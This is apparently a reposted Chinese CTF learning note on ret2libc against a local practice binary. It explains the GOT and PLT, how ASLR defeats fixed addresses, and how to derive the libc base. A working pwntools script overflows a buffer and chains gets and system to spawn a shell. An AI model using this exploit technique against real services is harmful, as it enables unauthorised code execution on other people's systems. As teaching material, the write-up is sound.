• 如果不是静态编译,通常不会有int 0x80。意思就是,没有int 0x80 构造的堆栈再好,也无法运行
  • 动态编译会载入整个shared library
  • stack overflow时可以直接构造function调用函数

有了函数地址,就可以直接拿来调用

Address = base + offset

在ASLR(Address Space Layout Randomization)中,每一次的基地址都会改变。每一个程序必然都会用到libc库中的函数 比如说main 函数,就要用到libc中的start_main()函数

有了这个函数地址,libc中的偏移地址是固定的,一个函数的实际地址也可以知道,

base addr = address –offset

Lazy Binding 延迟绑定

ELF采用了延迟绑定:函数第一次被调用的时候才绑定,如果没有用到则不进行绑定

PLT

80483c0就是plt的地址

GOT表(Global offset table)

全局偏移表

ELF将GOT表拆成两个表:.got 和 .got.plt

  • .got保存全局变量的地址
  • .got.plt保存函数引用地址

如果一个程序中使用到了某一个函数,那么一定会对应的有plt地址和.got.plt地址

0x804a010这个地址对应的值 就是实际地址,只要把这个地址的值打印出来就可以得到了实际地址

Call Library Function

gets() #函数地址

pop1_ret #执行完gets()函数的返回地址,比如pop eax pop ebx..把参数弹出栈

<buf>  #参数

system()

xxx

<buf>

再比如说 read函数

read函数地址

pop3_ret

第一个变量

第二个变量

第三个变量

system()

xxx

<buf>


Practice 6 ret2lib

_libc_start_main这个函数一定会用到

.got.plt=0x804a024

写了一段脚本

exp_3.py

from pwn import *

r = remote('127.0.0.1',4000)

puts_got_plt = 0x804a01c

r.recvuntil(':')

r.sendline(str(puts_got_plt))

r.interactive()

执行结果

找puts函数在libc库中的offset

ldd ./ret2lib #查看调用了那些库 以及路径

root@danny-virtual-machine:/home/danny/Desktop/pwn# ldd ./ret2lib
     linux-gate.so.1 =>  (0xf7f7c000)
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da7000)
     /lib/ld-linux.so.2 (0xf7f7e000)

root@danny-virtual-machine:/home/danny/Desktop/pwn# readelf -a /lib/i386-linux-gnu/libc.so.6 | grep puts@
    205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
  这个就偏移地址 434: 0005fca0   464 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0
   1182: 0005e720   349 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.0
   1736: 0005e720   349 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2.0

如何判断找到的实际地址是正确的?

实际地址与偏移地址的后3位是相同的,即后1.5个bit,如果找不到这个地址,就可以考虑爆破了

最终的exp_3.py

from pwn import *
r = remote('127.0.0.1',4000)

puts_got_plt = 0x804a01c

put_off = 0x0005fca0

r.recvuntil(':')

r.sendline(str(puts_got_plt))

r.recvuntil(':')

libc_base = int(r.recvuntil('\n').strip(),16) - put_off

print (hex(libc_base))

#raw_input('#')
gets_off = 0x05f3e0
system_off = 0x003ada0
gets = libc_base + gets_off
system = libc_base + system_off
buf = 0x0804b000 - 30

rop = [
     gets,
     system,
     buf,
     buf
]
r.recvuntil(':')
r.sendline('a'*60 + flat(rop))

sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()


总结:

  1. 找到某一个函数的.got.plt地址所对应的实际地址的值
  2. 查找该函数的offset 由实际地址-偏移地址获得libc_base地址
  3. 构造rop

gets()  #函数地址 libc_base + offset    # ldd ./file   获得库路径   #readelf -a 库路径 | grep func@

system() #函数地址 libc_base + offset

buf  #寻找可写区域   ./file &得到proc id 然后 cat /proc/func id/maps

buf

转载于:https://www.cnblogs.com/rookieDanny/p/8503493.html

Pwn_7 ROP (2)相关推荐

  1. ROP简单 ret2syscall

    开启的NX保护 写shellcode 是不可能的,也没有system等函数 存在溢出,算下偏移 变量与bp的距离就等于0x60 这个变量的开栈是根据sp开的 他距离sp0x1c 所以偏移就是 bp-s ...

  2. 一步一步学ROP之gadgets和2free篇

    蒸米 · 2015/11/25 10:39 0x00序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种 ...

  3. rop检查_注意!这几类人一定要定期检查眼底!

    高度近视最大的危害是什么? 随着手机,电脑的普遍使用,学习任务的繁重,导致青少年高度近视的发病率越来越高. 高度近视给我们生活带来的困扰不仅仅是眼睛干涩疲劳.视力模糊.戴眼镜不方便等,它最大的危害是随 ...

  4. CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)

    参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...

  5. 一步一步学ROP之Android ARM 32位篇

    蒸米 · 2015/12/17 9:41 0x00 序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种 ...

  6. 深入探讨ROP 载荷分析

    0x00 简介 Exploit-db上看到的感觉还不错,所以就翻译一下,原文题目为<Deep Dive into ROP Payload Analysis>,作者Sudeep Singh. ...

  7. Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP

    8种机械键盘轴体对比 本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选? 这篇鸽了挺久的,补一下吧 简单介绍ROP 首先先来说下什么是ROP ROP是Return Oriented Progra ...

  8. rop的noejs客户端

    2019独角兽企业重金招聘Python工程师标准>>> rop_client rop框架的nodejs客户端,可以快速联接rop相关的服务端 intall npm install r ...

  9. [网络安全自学篇] 五十五.Windows系统安全之构建ROP链绕过DEP及原理详解

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或 ...

最新文章

  1. 机房几台终端电脑,本地连接中不停的出现连接和断开,网络不通,解决方法...
  2. 【Nginx】访问日志里有大量的 HEAD 方法请求
  3. java中为什么要用json_Java中使用JSON
  4. HAS_NO_PRIVILEGE解决方案
  5. 【重磅快讯】T11 2019数据智能技术峰会举办,AI将成为行业颠覆者
  6. 一键设置mac显示选项_如何通过关闭浏览器中的一个选项卡将Mac上的电池寿命延长一倍...
  7. SQL中datetime和timestamp的区别
  8. 4.1 Spark SQL概述
  9. 数据库基本----SQL语句大全(转载)
  10. 身份证号码中间显示*星号
  11. arm架构安装rxtx_树莓派JAVA开发串口(RXTX)和GPIO(pi4j)
  12. c语言常用基础代码大全,C语言基础入门必读
  13. 组合数学 8种盒子放球问题
  14. 青龙面板最新版本2.10.11+(诺兰短信登录)nvjdc详细教程
  15. Python爬虫,爬取快看漫画每日更新模块
  16. 安装google扩展
  17. Linux查看硬盘属性(机械硬盘/固态硬盘)
  18. HashMap和Hashtable中的hash值是怎么计算的
  19. python中的imp模块——让引用模块更加简单
  20. 工商银行 U盾 -100003 数据签名错误

热门文章

  1. Day 1. Depressive Emotion Detection, Men Who Have Sex With Men, Social Media
  2. 计算机所王颖简历,王颖-天津大学材料科学与工程学院
  3. 浏览器相关(2)- 从输入url到页面展示发生了什么
  4. 论文笔记 | DCS-RISR: Dynamic Channel Splitting for Efficient Real-world Image Super-Resolution
  5. WEB安全的学习总结与心得(一)
  6. 整理了12个必备的Python函数,建议收藏
  7. 牛客小白月赛6 C 桃花
  8. Ext.Net 1.x_Ext.Net.TextField模糊查询(仿Google)
  9. python交互模式_python怎么用交互式模式
  10. 集成学习boosting算法:AdaboostGBDTXgboostLightGBMCatBoost